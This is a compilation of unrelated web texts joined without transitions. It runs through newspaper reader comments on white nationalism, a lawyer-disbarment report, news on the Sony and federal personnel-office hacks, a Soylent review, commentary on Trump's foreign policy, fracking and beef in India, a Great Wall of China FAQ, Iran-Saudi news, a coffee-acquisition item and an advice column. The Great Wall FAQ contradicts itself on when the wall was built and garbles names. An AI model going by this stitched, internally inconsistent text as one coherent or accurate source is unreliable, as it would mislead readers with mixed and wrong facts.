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NYT Pick Kimberly McAllister Indianapolis, Indiana 8 hours ago This type of argument is not flying to anyone who has seen what Calais's immigrant camp looked like or has been to Paris, lately. My daughter was in Paris about 4 years ago & when she missed her train and meet-up time with others in her group, she was harrassed mercilessly by scores of immigrant African men who appeared to be unemployed and hanging out doing nothing in the city. She ignored them, but several of them insisted on following her and whispering sexually suggestive questions and statements at her, rendering her terrified. Some of the white nationalism has nothing to do with this sort of behavior. But you want to ignore the fact that some of it does. While I will never condone white nationalism, I will also never fall for the easy name-calling and hypocrisy of the other side, either. What we have is a much harder problem of trying to assimilate groups of people who have much different views about culture and society into the West and some of them, just like us, don't believe they have to follow the rules. Your long-winded editorial doesn't even come close to addressing this problem, because you, like the rest of the world's politically correct social justice warriors want to make this about you and the people you feel have been wronged. Be a real leader and have the guts to talk about the real problem. We need to find ways to integrate these people into Western society, not permanently label them victims when some of them are clearly not. Flag
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NYT Pick Jeni South Carolina 7 hours ago "Their rise threatens to transform countries that we once thought of as icons of liberalism into democracies only in name.”
We have been a democracy "only in name" for a long time. The word "democracy" is being used incorrectly.
The US is a Republic.
And that matters because I think the main difference between our two major parties is based on their members' position on this one issue, Democrats want more voter participation and Republicans want less, and that makes it extremely important to the future of our country. Lying about not achieving the ideal does not make us look good, it does not make us a Democracy. It makes us look like ostriches, at best.
Democracy is an ideal we have never achieved. Every time a grass-roots movement starts, that's democratic. But it's sporadic, and it usually gets corrupted by selfish people like white nationalists, who only want to hold onto power exclusively. They don't want what's best for all the country's people.
We can achieve more democracy, but only if we don't lie about what we already are. Flag
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NYT Pick Joel Geier Oregon 7 hours ago After reading through the majority of comments here so far, I can only conclude that the cancer of white nationalism has metastasized to the point where it has infected even the relatively educated minds of New York Times readers.
I'm beginning to understand the despair of Hesse's protagonist in his novel, Steppenwolf. Flag
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NYT Pick Runaway The desert 6 hours ago The problem has always been, and always will be the right wing of all secular and religious stripes. Right wing Christians, right wing Jews, right wing Muslims, right wing atheists, and even, how is this even possible, right wing Buddhists. And, yeah, right wing white people and people of color. They promote the fear of the other,and try to drag the center and the left down into the pit of their foul frightened belief system. Resist.
Thank you for this essay. Flag
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NYT Pick N.G. Krishnan Bangalore India 4 hours ago Anti-immigration rhetoric and nativist policies have become the new normal in liberal democracies from Europe to the United States. Not surprisingly It is but reawakening of the thinly veiled color hatred Whites have for very many decades.
During the French defense against the Nazi blitz in 1940 knowing full well that the campaign was lost, French officers flipped opened the “sacrificial mission” playbook and ordered their African charges to oppose a German march near Lyon “without thought of retreat.”
Since victory was equally out of the question, that left death. Wehrmacht troops duly prepared by Nazi racial typecasting to see their foes as savages were all too ready to wipe out African troops they greatly outclassed.
"The White Man's Burden" In the later 20th century, in the context of decolonization and the Developing World, the phrase "the white man's burden" was emblematic of the "well-intentioned" aspects of Western colonialism and "Eurocentrism". The poem's imperialist interpretation also includes the milder, philanthropic colonialism of the missionaries:
The implication, of course, was that the Empire existed not for the benefit — economic or strategic or otherwise — of Britain, itself, but in order that primitive peoples, incapable of self-government, could, with British guidance, eventually become civilized (and Christianized) Flag
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On January 7, the Louisiana Hearing Committee recommended one fiery lawyer’s permanent disbarment after determining he “had to be admonished for brandishing about his shillelagh, his action clearly inappropriate for a disciplinary proceeding.” The lawyer had been suspended from practice in Louisiana on an interim basis since March 2009.
When the court suspended his law license, the lawyer riposted by calling them a “bunch of pigs,” “gutless dogs,” and referred to the chief justice with a “sexual and offensive nickname” we can only conclude is too heinous to even include in the hearing report.
A week later, the lawyer sent another email to Disciplinary Counsel Ad Hoc denying the use of racially disparaging terms all the while “including many such terms along with other offensive terms” in the email. The same day, the lawyer he “notified Disciplinary Counsel Ad Hoc that he was a “pimp”, a “puppet”, an “Uncle Tom”, and an “OREO.””
In his next email, the lawyer explained “I Just Can’t Help Myself” then “launched into a string of racially offensive and obscene terms.”
It didn’t stop there.
On April 15, 2009, at 3.25 p.m., Respondent advised by email he had developed yet another nickname for Disciplinary Counsel Ad Hoc. This nickname was intended to be equally offensive. Later, at 5:27 p.m., Respondent offered by email to substitute a new offensive nickname for the prior offensive nickname. On April 26, 2009, Respondent emailed Disciplinary Counsel Ad Hoc to advise him that Respondent was thinking of him and used a string of racially offensive and obscene terms to communicate his message.
The poor behavior continued with emails referring to opposing counsel in conflicting precedent as “SCUM” and “VERMIN”—and a judge as a “BIG GORILLA” who was attempting to accomplish “INSANITY.”
Comparing him to a “child who is sorry he got caught but not sorry for the infraction,” the committee found that the lawyer had committed numerous ethics rule violations and recommended permanent disbarment.
Mr. Obama signed the executive order after the attack on Sony Pictures’ computer network, an intrusion that American officials believe was carried out by the government of North Korea. The order gives the administration the ability to freeze assets in the United States, bar Americans from doing business with groups that sponsor cyberattacks, and cut the groups off from American goods and technology. But the use of the sanctions authority could be more significant if Mr. Obama wielded it against China, which officials believe has continued to sponsor cyberattacks even as the two nations warily seek a working relationship in other areas.
Mr. Earnest declined to say whether investigators had concluded that the attacks at the personnel office affected many millions more people than the four million already announced. And he declined to say whether officials at the United States Embassy in China were being relocated out of a fear that the hackers retrieved information about their contacts in that country.
“We have acknowledged that potentially sensitive data about a substantial number of federal employees was breached or is at least now at risk,” Mr. Earnest said. “But we haven’t talked publicly about the details of that.”
Security experts say the forensic evidence from the attacks suggests that they were the work of a sophisticated Chinese group that for the past three years has targeted a number of government agencies and defense contractors.
More recently, however, the group appears to have been looking for inroads into the personal lives of government workers, military and intelligence personnel, and defense contractors, and it has been gathering the personal data and medical histories of its targets. Though experts say it is not clear what the attackers plan to use the information for, they note that it is the sort of delicate medical data that could be used for blackmail.
Putin’s Invasion of Eastern Ukraine: Is It Next Week or Never?
What is Soylent?
Soylent is a meal-replacement drink that is designed to provide an optimal balance of nutrients. Soylent is supposed to be nutritious and convenient at the same time. Currently the Soylent website notes that Soylent offers “20% daily nutrition” which allows you to “get rid of hunger and get on with your day.” It comes in ready-to-drink bottles, powder you mix yourself, and bars. (Bars are currently unavailable because they made a small set of users sick.) This is a Soylent Cacao review, covering the chocolate-flavored version of the ready-to-drink bottles.
Taste
Cacao tastes like a weak hot chocolate or perhaps chocolate flavored almond milk. It doesn’t quite qualify as dessert, but it is a lot closer than original Soylent 2.0. I’ve seen a few commenters online mention that they can’t handle the taste of Soylent alone so they frequently mix it with chocolate power or Nesquick. If this is you, you’ll probably love (or at least like) Cacao.
As someone who got onto the Soylent train back in the powder days, I believe that Cacao is a little too sweet, and Nectar is an absolute travesty.
Ultimately, Soylent Cacao is a win.
However, taste is, by its nature, a subjective discussion. (The Romans knew this 2,000 years ago.) So your results my vary. On Reddit I’ve seen a polarized discussions arguing which flavor is better, but most of the controversy seems to be centered around whether Nectar is amazing or terrible.
Nutrition
Cacao, Nectar, and the original Soylent 2.0 all have slightly different formulations, but the effect is essentially the same. They’re all 400 calories and they all contain 20% of your recommended daily vitamins. Soylent is supposed to be balanced, with each bottle providing one-fifth of your recommended nutrition. There is a gram or two difference of fat, but the percentages are roughly the same: 32% of daily fat, 12% of daily carbohydrates, 9 grams of sugar, and 20 grams of protein per bottle. (Full nutrition facts here.)
Fats, Carbs, Protein
Each bottle of Soylent has 32% your daily recommended fat intake, while it has only 12% of your recommended carbohydrate intake. So, if you drank your 2,000 calories in Soylent, you’d be getting 160% of your daily fat intake while only getting 60% of your daily carbohydrate intake. You’d also be getting 100 grams of protein. How much protein is too much will vary by person. It has long been a rule in the weightlifting community to get 1 gram of protein per day, meaning living off Soylent would provide too little protein. But, using the standard baseline of a .36 grams of protein per pound of body weight means that you’d need to be 278 pounds to need 100 grams of protein.
What’s it all mean? Nutrition is complicated, varies by person, and you should talk to a doctor to understand what your ideal nutrient balance is. While Soylent is not going to provide the right mix for everyone, I commend them for doing a decent job of trying. Check out this nutrient calculator for more.
Sugar
Each bottle of Soylent has 9 grams of added sugar. However, Soylent argues that since this is in the form of isomaltulose, it is much less harmful than fructose. The chart they provide which can be found by clicking the previous link is compelling, but I am not in a position to make a judgement. What I do know is that the average American eats far too much sugar, and to the extent that drinking Soylent prevents someone from eating a candy bar, it is a compelling step forward.
Given that I’m trying to reduce my sugar intake as much as possible, I generally drink a max of two Soylents per day. But, if you had to live on it, you could choose worse foods–drinking 2,000 calories of Soylent would add up to 45 grams of sugar, 5 grams under the recommended limit of 50 grams.
Cost
Soylent Cacao costs $3.25 per bottle ($3.09 if you subscribe). Nectar, the other new flavor, costs the same. The original flavor costs $2.83 a bottle, $2.69 if you subscribe. A 42 cent difference isn’t huge, but given that you’ll be buying these in bulk, it adds up. A 12-pack of original is $5 cheaper than a 12 pack of Cacao or Nectar. Given that I believe original is still the best flavor, it’s hard for me to justify spending more.
How does it compare to other Soylent flavors?
Soylent Original tastes like almond milk, Cacao tastes like weak hot chocolate, and Nectar tastes like lemon aspartame.
Cacao comes a close second to the “original” flavored Soylent 2.0. On the one hand, it is much sweeter and more approachable than the Original flavor. On the other, the sweetness is slightly grating to me.
It’s sort of like when I switched from Colgate to Crest. Crest tasted so much better than Colgate that I was skeptical it could clean my teeth as well. A similar effect is at play here. Soylent Cacao is almost too chocolatey, too sweet, and it makes drinking it feel less healthy. I bet the average person will far prefer Cacao to Original. Me, on the other hand? I prefer something a little more toned down, so I’ll stick with original.
Cacao is at least 10 times better than Nectar, which is undrinkable and tastes like aspartame, lemons, and soap. (There is, however, a passionate group of Nectar defenders online who claim Nectar tastes like candy or fruit loops.)
The Verdict:
Ultimately, Soylent Cacao is a win. It tastes like a chocolate almond milk, which is probably about as good as you can get while continuing to pack in the nutrition Soylent is known for. Soylent Cacao is not perfect, and I suspect purists will prefer the original flavor–I know I do. However, new customers will probably gravitate towards Cacao as a great-tasting chocolate-flavored meal substitute. A select few will love Nectar (click here for our review), although I did not.
You can also buy Soylent Cacao at Amazon, which is currently offering a 20% off coupon. Amazon offers various subscribe and save options as well.
You can buy Soylent at Soylent.com but if you use this referral link you’ll get 50% off your first order of 12 bottles and Soylent will donate 4 bottles to the World Food Program USA. (Take Risks Be Happy does not receive a monetary benefit from this link.)
Republican presidential candidate Donald Trump speaks during a campaign event, Monday, Feb. 1, 2016, in Cedar Rapids, Iowa. (AP Photo/Mary Altaffer)
Donald Trump may have lost the Iowa caucuses, but he remains a major contender in the Republican primaries. To date, most discussion of his campaign has centered on his domestic policies.
But increasingly, pundits have taken aim at the Republican candidate’s foreign policies, accusing him of holding what Thomas Wright of the Brookings Institution calls “antiquated notions of power that haven’t been prevalent since prior to World War II.” Trump’s Republican rivals have branded Trump an isolationist out of step with U.S. tradition.
But just how unique are Trump’s foreign policy views? If you take a broader view of postwar American foreign policy the surprising answer is: Not so much.
Here are Trump’s opponents’ three essential points.
First, they say, the United States has been building a cooperative, liberal world order since 1945. Trump up-ends that by seeking economic and political concessions from countries such as Japan and South Korea in exchange for American security guarantees. In fact, he might end some American commitments anyway — arguing, for example, that, “Pulling back from Europe would save this country millions of dollars annually.”
Second, Trump seems to be against free trade — or more precisely, multilateral agreements like NAFTA and TPP that lower barriers to trade among a large group of countries.
“The TPP is a horrible deal,” Trump declared at a November 2015 Republican debate. “It is a deal that is going to lead to nothing but trouble. It’s a deal that’s designed for China to come in, as they always do, through the back door and totally take advantage of everyone.” Instead, Trump’s solution is to focus on bilateral deals that play to American strengths.
[Here’s why so many love to hate the TPP]
Finally, Trump embraces non-democratic leaders like Russian President Vladimir Putin and Chinese President Xi Jinping, praising Xi as “very smart” and showering accolades on Putin for acting like a true “leader.” Ostensibly, this interest in autocracy would repudiate the United States’ avowed support for democracy.
[Hey, China, this is why democracies beat autocracies in a fight]
Combined, Wright argues, a Trump victory in 2016 would thus offer “a mandate to destroy the U.S.-led order” as it has existed since 1945.
So how far out of the mainstream are these three ideas?
In fact, you don’t need to go far at all in postwar politics to find the predecessors of Trump’s ideas. Let’s take these in reverse order.
3. U.S. policy and support for autocrats
Despite often claiming to champion democracy around the world, U.S. policymakers from both political parties backed autocrats throughout the postwar era when U.S. interests dictated. A few examples highlight the trend. President Dwight D. Eisenhower, for example, famously authorized coups to reinstall dictators in Guatemala and Iran. President John F. Kennedy backed South Vietnamese strongman Ngo Dinh Diem. Presidents Richard Nixon, Gerald Ford and Jimmy Carter supported the Shah of Iran. President Richard Nixon embraced Mao as an ally against the Soviet Union. And President George H.W. Bush backed Soviet and Chinese leaders against domestic opponents (in China, despite the events of Tiananmen Square).
After the Cold War, both Presidents Bill Clinton and George W. Bush accepted Putin’s consolidation of power as a necessary step to restore order in Russia. And today, the United States supports the Saudi and other Gulf monarchies and has largely reconciled with the Sisi regime in Egypt.
Trump’s support for non-democratic leaders, in other words, is within the mainstream of longstanding U.S. policy. In fact, and tellingly, President Ronald Reagan’s own ambassador to the United Nations Jeane Kirkpatrick made her name explaining why U.S. support for dictators was justified. Trump’s particular enthusiasm for foreign leaders as autocrats may be novel, but it is hardly an unusual development coming from left field.
2. Free trade
Free trade has certainly been a pillar of U.S. post-1945 foreign policy. But it has always been critiqued, sometimes contentiously. NAFTA, for example, barely passed in the early 1990s as politicians like Pat Buchanan and Dick Gephardt and American labor leaders opposed the deal. Years of negotiations and months of hard bargaining were required before Clinton was able to get enough support to sign the deal into law.
Similarly, the Trans-Pacific Partnership is still under fire by prominent opponents like Sens. Sherrod Brown and Elizabeth Warren, who decry the deal in part for lacking adequate labor protections for American workers.
Political scientists have also shown that support for free trade was a reflection of the United States’ massive comparative economic advantages in the wake of World War II — and sustained by special legislation that sidestepped congressional opposition as U.S. advantages waned.
What sets Trump apart isn’t his opposition to free trade. He’s giving voice to a protectionist cause that has long been around.
1. Demanding allied concessions and threatening to abandon some of them
Finally, Trump’s proposal to make countries pay for U.S. security, and sometimes threatening to pull out entirely, has deep roots in postwar politics.
As Wright notes, the United States often forces allies to help foot the bill of a U.S. military presence. But the United States has also tried several other ways to pressure and garner concessions from its partners.
[Here’s why we can only contain the Islamic State, not bomb it back to the Stone Age]
At the height of the Cold War, for example, the United States used its military position to coerce NATO members into buying U.S.-made military equipment of questionable utility — in effect, exacting economic tribute in exchange for security. In the early 1980s, the Reagan administration pressured its allies to stop supporting a Soviet gas pipeline, using the United States’ outsized role as their military protector as leverage. And for the last 25 years, the United States has pressured NATO into bringing former Soviet-bloc countries into the alliance — despite significant opposition from members such as Germany and France — and modifying plans for European integration to ensure the United States a predominant role in European security arrangements.
These demands should be recognized for what they are: coercion to extract resources and influence other nations’ fortunes and plans. Trump may call for it in a more bald-faced way, but his demands for tribute are not new.
What about the threat to reduce U.S. involvement abroad? That too is part of the nation’s postwar tradition. At the height of the Cold War, Truman and Eisenhower threatened to end U.S. support for NATO members unless U.S. demands on such issues as nuclear weapons and economic policy were met.
That’s because U.S. policy was built on the idea of limiting involvement abroad — not isolationism but what political scientists call “buckpassing.” That seems much like what Trump has in mind, with the candidate calling (to take one example) for the European members of NATO to take the lead in Ukraine with the United States following “right behind them.”
Admittedly, the United States had largely stopped threatening to exit by the mid-1960s, though both Nixon and George H.W. Bush discussed reducing the U.S. military presence in negotiations with European and Asian allies. Likewise, for the last 30 years, policymakers in both parties have viewed an absent United States as a greater threat to national security than anything else.
Still, limiting overseas U.S. commitments and threatening to reduce them further unless other states accepted American demands was part of the way in which the postwar order was initially created. Trump’s ideas do go beyond what Truman, Eisenhower and others had in mind, but the basic approach is rooted in prior practice.
What’s new about Trump?
If Trump’s proposals have analogs in postwar foreign policy, what exactly is new with the approach?
Trump modifies tradition in particular ways. He goes much farther than his predecessors in embracing the most self-interested aspects of postwar U.S. policy, calls for economic policies that have long been in the minority, and announces his positions with far more outright bombast than we’re used to.
This is not a break from the past, however. Rather, it draws together and extends policies that the United States has been using, or debating, for decades. Put differently, Trump’s foreign policy would be particularly coercive and self-serving, but it would be so by building on long-standing elements of postwar politics supported by both sides of the political aisle.
We can debate the merit of these policies themselves without pretending they are a surprise development new to the postwar era. Any discussion of Trump’s foreign policy requires discussing the postwar foundations of American strategy itself.
China, India and the EU are all wondering how they will respond to this US energy revolution. But while they may dream of replicating America’s fracking frenzy, they will soon find that this isn’t possible. Indeed, shale gas being a “bridge” to a cleaner world is a myth: The US will continue to successfully extract it, thus resulting in more methane emissions but also in cheaper US energy. As a result, cheap coal America no longer needs will continue to be diverted overseas, locking coal infrastructure for decades.
India’s miserable track record of extracting coal bed methane (an underground fracking process similar to that used for shale gas) speaks volumes: After a decade of exploration, the country has a paltry haul to show for its efforts. Land acquisitions are nightmarish; the population density 10 times that of the US and its regulatory framework doesn’t work. Water scarcity doesn’t help either, and will get more difficult when the country shifts its attention to shale (which requires perhaps 20 times more water to extract than coal bed methane). One can anticipate the emerging conflicts over water with the local population when the drillers turn up in force.
In China, shale gas reserves are a technological challenge of a different order than in the US, due to complex geology, a far greater earthquake risk, loud local environmental awareness, high population density, and water shortages. It will take a long time to move past these challenges. Sichuan Province, where China’s fracking industry is taking-off, is a hotbed of seismic activity and it’s not difficult to guess what will happen when the local population wakes up to see hydraulic wells awkwardly sprouting in a province all too familiar with earthquakes’ human and environmental costs.
In the EU-28, debate is raging about fracking. France and the Netherlands have banned the practice, whereas the UK, Denmark and Poland seem keen. But below the surface hiss any number of problems. The production sharing contract used throughout most of Europe’s energy projects, which would split the benefits of extraction between different parties including landowners and communities, doesn’t work for shale. Similarly, different property rights frameworks will cause dramatic hold ups. While US frackers have bought out tens of thousands of landowners, you can’t lease your mineral rights as a private landowner in most of Europe and local councils invariably have a loud say. Add the lack of infrastructure to carry the gas and increased dissent from local and environmental groups, and it’s not difficult to conclude that fracking will not take off in any meaningful sense for a decade or more.
Like an under-performing drug, what we are left with are the side-effects of fracking. Unwanted US coal is flooding the world and delivering a perverse gas-to-coal switch in Europe and elsewhere. In turn, this is causing increased emissions outside the US and logically making coal-fired power plants more desirable in the EU, China, India and elsewhere. Meanwhile, in the US, the debate is raging about whether the industry is disclosing the correct number of wells it is drilling and what the actual methane emissions contribution of the industry is (my guess: huge).
The only way out of this vicious circle is for Europe, China and India to realize that fracking is a pipe dream and focus on developing viable renewable energy sources while curbing their addiction to fossil fuels. Policymakers must not let shale gas become a smokescreen obscuring the need for robust emissions reduction policies. EU leaders should take decisive action to fix their continent’s ailing carbon market, currently crippled by a rock-bottom carbon price. India and China should change tack and lead the world’s climate change negotiations towards decisive action.
Exporting the US shale gas model is a pipe-dream which if indulged will push the world down the path to climate chaos – truly an international nightmare.
— Article 48, The Directive
Principles of State Policy
“For the [Vedic] Brahmin every day was a beef-steak day.”
— B R Ambedkar
In an otherwise Ambedkarite Constitution, the Gandhian mafia managed to sneak in the cow. However, it was not made the mandate of the Indian state to protect “the porcupine, the hedgehog, the iguana, the rhinoceros, the tortoise or the hare” — all listed by the (circa 200 AD) as “eatable”.
tends to yoke together practices totally at odds. The meaning of one resides in the meaninglessness of the other. The touch-me-not Brahmin renders everyone else untouchable; sometimes he cannot even touch himself. Time was when the happily ate beef; merrily sacrificed cattle in thousands; treated a special guest with veal pulao. Post-Buddhism, the cow was declared sacred and holy. It became Kamadhenu, the abode of 330 million gods and goddesses. Gandhi called the cow “a poem of pity”; his love for the bovine was rooted in seeing it as divine. “The central fact of Hinduism is cow protection. Cow protection to me is one of the most wonderful phenomena in human evolution.”
Many have myths – the Madigas of have – that trace their origin back to the consumption of cow meat and the stigma of untouchability enforced on them. After the Brahmins declared the cow holy, society still needed someone to clear the cow carcass. The ingenuity of the caste system was there to manage this problem. Ambedkar argued that untouchability entailed from eating the meat of the dead cow. So, conventionally, “untouchables” got to eat not a cow in prime, after slaughtering it, but after it died of old age or disease — stringy, not juicy, meat.
Yet, beef and buffalo meat comprise the largest meat product to be both produced and consumed in India. “This animal [buffalo] has not been given its due place in the livestock sector. Paradoxically, it is discriminated against merely on account of its dark colour. This is clear apartheid against buffalo.” This is not from Kancha Ilaiah’s Buffalo Nationalism, but from the India report of the United Nations’ Food and Agriculture Organisation (FAO). Meanwhile, the dark buffalo is ritually sacrificed. In several parts of South India, Dalits are forced to do the slaughtering. Gandhi did not love the buffalo.
The caste system’s inferiorising of those who deal with cattle (dead or alive) and leatherwork has resulted not just in intolerance but also in the lack of evolution of diversity of red-meat products. According to the FAO’s India report, hardly one per cent of the total meat produced in India is used for processing. Take Germany’s wide range of sausages (Bratwurst, Blutwurst, Bregenwurst, Liverwurst, and whatnot) and salamis (dry-cured, aged). Look at the range of knives and precision instruments used for cutting meat in Europe. Think of thin carpaccio. Think of the range of cheeses in France. This comes from not just love for food but from respect for communities that deal with animals. In India, many of the inferiorised castes have wonderful ways of salting and preserving meat (and fish). When these communities are despised and rendered resourceless, how will their secrets and techniques be valourised and commodified? Dal-roti-sabzi, a Brahmin-Bania-Jain diet, is projected as the staple. Indians contributed an ugly word to the English vocabulary — non-vegetarian.
Much hue and cry is being raised over the recent cow-slaughter bans in Karnataka and Madhya Pradesh — conveniently ruled by the demonic Bharatiya Janata Party. But few realise that there has been a ban in place in Delhi since 1994 (the Delhi Agricultural Cattle Preservation Act), for few in the secular brigade – who have a Pavlovian response to any agenda set by the BJP/RSS/VHP/Bajrang Dal/Narendra Modi – get worked up over the silent ban on beef in Delhi. Most beef sellers in Delhi are forced to claim they are selling “buff”. Consumption of beef does not seem to excite the secular-liberal elite, for whom Hindutva is an easy enemy — not Hinduism, which by some reckless and perverse misunderstanding is seen as tolerant/non-violent. The vociferous defenders of A K Ramanujan’s essay or Salman Rushdie’s Satanic Verses won’t sign a we-love-beef petition.
Last week in Hyderabad when students, activists and professors asserted their right to consume beef, they were attacked because they ate beef in a celebratory fashion. They were taking joy in what was expected to be done secretly. A food that has been made an object of stigma and shame was being reclaimed as a symbol of pride, as a right; after all, a kilo of beef costs Rs 130 while okra is Rs 100. It’s time we started a movement to declare beef the national food of India. Some truly Vedic Brahmins may well sign up.
The Great Wall of China is built between 220-206 BC by the first Chinese king, Qin Shi Haung. The Great Wall of China is more than 2300 years old!!
2. Who built the Great Wall of China?
Qin Shi Haung, the first Emperor of China started the construction of The Great Wall of China. The Great Wall was not constructed all at once. The Great Wall of China was built over many centuries by many dynasties. And at present the Chinese government takes care of rebuilding the damaged parts of the wall.
3. When was the Great Wall of China built?
After Uniting China from seven invading states around, the emperor erected and extended the construction of The Great Wall of China along the north of china around 700 BC.
4. What is the color of The Great Wall of China?
The Great Wall of China should have been in bright brown when it was constructed but over time, it has turned to faded dirty dark brown. On the sides it looks whitish grey in color.
5. How is The Great Wall of China called in Chinese?
The Great Wall of China is called as “Wan-Li Qang-Qeng” in Chinese, which means the wall length is10000 Li. 10000 Li is equivalent to 3107 miles or 5000 km.
6. What is the best time to visit The Great Wall of China?
The best time to visit The Great Wall of China is May to early October when it is usually sunny. November to April is very cold, and has very little tourists during this season.
7. What is the length of the Great Wall of China?
In 2009, after complete investigation, the length of The Great Wall of China was announced as 5500 miles (8851.8 km) stretching from Hushan Great Wall in Liaoning and Jiayuguan Pass in Gansu.
8. Why was the Great Wall of China constructed?
The Great Wall of China was erected for the purpose of military defense to protect China from the invasion of Xiongnu people from Mongolia.
9. How was The Great Wall of China built? And how many people worked for it?
It is said the millions of slaves, soldiers, prisoners and even lot of criminals were employed in the process of erecting Great Wall of China. Thousands of them died due to exhaustion and starvation, and the dead bodies were also dumped inside the wall during construction. That is why historians call the Great Wall of China as “The longest cemetery in the world”.
10. What is the height and width of The Great Wall of China?
The Great Wall of China is 25 feet tall and 15-30 feet wide.
11. What is The Great Wall of China made of?
The Great Wall of China was built with the materials that were available around. Major part of the wall is made out of lime, bricks, blocks of rocks and stones. The western part of the wall is made of grass, straw, mud and pounded earth in thick wooden frames.
12. Can you see the Great Wall of China from space or moon?
No. The Great Wall of China can be seen only from lower earth orbit level but not from moon or space. It is proved that an unaided human eye cannot see The Great Wall of China from space.
“The Organization of Hajj was ordered to temporarily suspend Umrah Hajj pilgrimage until the two criminals are tried and prosecuted,” he said.
”The public dignity of Iranian nation has been damaged given what has happened. A public demand has been formed and a reaction is needed.”
He also said that Iran has pursued the issue diplomatically and Saudi officials had promised to prosecute the two arrested culprits.
Saudi officials have said that they would hang these people, but nothing has happened yet, he said.
Saudi officers sexually harassed two Iranian teenage pilgrims at the King Abdulaziz International Airport in Jeddah two weeks ago, prompting Tehran to submit a note of complaint to the Saudi government, according to Iran’s Foreign Ministry spokeswoman, Marziyeh Afkham.
She said on Wednesday that the Foreign Ministry has also summoned the Saudi chargé d’affaires to ask Riyadh to expedite the measures taken in the process of punishing the accused.
On Saturday, a group of Iranians gathered in front of the Saudi embassy in Tehran in protest over the indecency, chanting anti-Saudi slogans and calling for closure of the embassy as well as cancellation of Umrah Hajj pilgrimage to Mecca, Saudi Arabia.
Peet’s headquarters are located in Berkeley, California, and the coffee roasters have been spreading out across the nation in the past few years. It currently has dozens of coffee shops in California, Colorado, Illinois, Maryland, Massachusetts, Oregon, Virginia, Washington, and Washington, D.C.
It has not yet been made clear what Peet’s is planning on doing with this acquisition, whether it’ll simply sell Stumptown products in its already existing locations or open up additional Stumptown storefronts across the country to help its expansion.
Stumptown opened up in Portland, Oregon in 1999. It currently has four locations in the city as well as a few in Seattle, New York, and Los Angeles. The extremely popular brand gained even more attraction when it sold Col’ Brew, limited edition bottles of the roaster’s cold brew, in honor of Stephen Colbert taking over The Late Show.
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Stumptown was controlled by private equity firm TSG Consumer Partners who acquired a 90% stake in 2011.
For more on big money flowing into niche coffee, read Fortune‘s Erin Griffith’s 2014 profile on Craft Coffee.
This article originally appeared on Fortune.com
Photograph by Rachel Pincus
Are you relatively new to this bustling metropolis? Don't be shy about it, everyone was new to New York once upon a time, except, of course, those battle-hardened residents who've lived here their whole lives and Know It All. One of these lifers works among us at Gothamist—publisher Jake Dobkin grew up in Park Slope and still resides there. He is now fielding questions—ask him anything by sending an email here, but be advised that Dobkin is "not sure you guys will be able to handle my realness." We can keep you anonymous if you prefer; just let us know what neighborhood you live in.
This week's question comes from a New Yorker who's fed up with people pushing fliers in their face.
Hi Jake,
I am in an ethical stalemate. It has to do with The Flier People*, those ubiquitous NYC violators of personal space. Do I take the flier? Do I smile while declining to take the flier? Do I ignore it completely? This question may seem trivial, but I think some fundamental principles of social, economic, and environmental interaction are at stake.
When I was younger and newer to this bustling metropolis, I used to give sidewalk attention-grabbers the time of day. It seemed that merely because somebody approached me, I was obligated by human decency to acknowledge that person. But after spending more time in New York, I realized this naive Midwestern politeness was setting me up to be taken advantage of at every turn.
So I grew up a little bit, became more of an asshole, and ceased to pay any attention whatsoever to The Flier People. My ignore-and-keep-walking move is now ludicrous in its extremity. Yeah right I don't notice the leaflet vigorously flapping inches from my face. But the more vehement the shaking, the more determined I am to deny its existence. What, dear Native New Yorker, is the moral status of this strategy?
On the one hand, my mental and bodily space are being invaded—at times rather brazenly. The Flier Person inevitably stands as obnoxiously as possible, completely disrupting the flow of people attempting to move through the world on their own business. It's an environmental fail as well: I already know I don't want what they're pushing, and the idea of taking resources just to throw them away several yards later is repulsive.
On the other hand, I suspect I'm being a jerk. I totally get that it's a job. I'm sure The Flier People are infinitely more annoyed at having to do it than I am by their doing it. A friend (who always takes the flier) once told me that the sooner they've distributed the stack, the sooner The Flier People get to go home. Out of solidarity for my fellow laborer—forced to "choose" one exploitative job or another in order to earn the right to exist—I want to support getting it over with as quickly as possible. Most importantly, it seems that going through life deliberately denying the humanity of other people (regardless of how abrasive I may find them) is just no way to be.
I would love to hear your advice on this, Jake! I'm sure I'll be able to put in action within a block of the door.
Please Help,
Ethically Confounded
[residing in Bed-Stuy, working in Manhattan]
*These are distinct from The Clipboard People (whom I am happy not to encounter anywhere near as frequently). The Clipboard People are almost always asking for money or at least a signature—both of which are much greater demands than that I take a piece of paper.
A Native New Yorker responds:
Dear Confounded,
Thank you for your very long and thoughtful letter. It is clear that you are kind-hearted New Yorker, with a genuine concern for both your fellow citizens and the environment in which we live, which is a rare combination. As you have already realized, this makes you what Flier People and their more nefarious cousins, Clipboard People, call "a mark", or, in less polite terms, when they gather at their street worker bars, "a sucker". This is very unfair, and just the sort of predatory attitude that has given their industry a bad name.
To all humans you owe a basic loving-kindness, which here in New York means not spitting on them, not physically injuring them as you dash for a subway seat, and not taking up more than one parking space. Beyond these basic niceties, reciprocity is the key to every relationship. This is the basic sin of the street workers: they ask for more than this basic consideration (by blocking your way, by taking up your time, by asking for money) but give zero back. You owe them nothing, and are well within your rights to do what most New Yorkers do: pretend that they do not exist.
Of course, as we've discussed in the past in regard to donating to the homeless, and giving directions to tourists, sometimes it acceptable to help a stranger out. This can be justified in many ways: the good karma you will receive, as a small pledge towards a friendlier city, on reflection that at some point the shoe may be on the other foot, etc. This sympathy should be parceled out carefully, avoiding obvious scammers and predators—but you can probably take a flier from the poor downtrodden flier guy who just wants to finish his stack and get home to see his kids without encouraging the widespread proliferation of more flier people on every corner. Who knows—maybe he even has a coupon for Pinkberry or something.
Nine-year-old Jake Dobkin wears a sweatshirt of oppression (Courtesy Jake Dobkin Private Collection)
However, and this is very important, the Clipboard People must be ignored with EXTREME PREJUDICE. This is because Clipboard People are grifters, who, in the name of various causes (Gay Rights, the Environment), have only a single aim: to get your credit card number authorized for recurring payments to a "charity." In fact, the majority of that money does not go to the charity, but goes to pay the salary of the Clipboarder, and the evil canvas organizations that employ them. Even worse, the Clipboarders are themselves exploited—often young idealists from less vicious places, they are brought to New York on the promise of helping a charity they believe in, only to find out they've been dragooned into a commission-based predatory marketing scheme.
This scam is more evil than most because it is done in the name of legitimate charities, and targets the nicest, most generous people on the streets. The assholes amongst us are immune, of course, because they don't bother to even make eye contact, but sensitive, thoughtful liberals who just want to support your right to Gay Marriage or save a Polar Bear from drowning end up with a $30 monthly charge on their credit cards. On average, it takes about 8 months before they realize that they've been had, and that almost all of the money they've given hasn't even gone to the charity. Then they cancel and probably turn their back on the progressive movement, become neoconservatives, and move to the Upper East Side. It's a sad story, and it's all because of the Clipboard People.
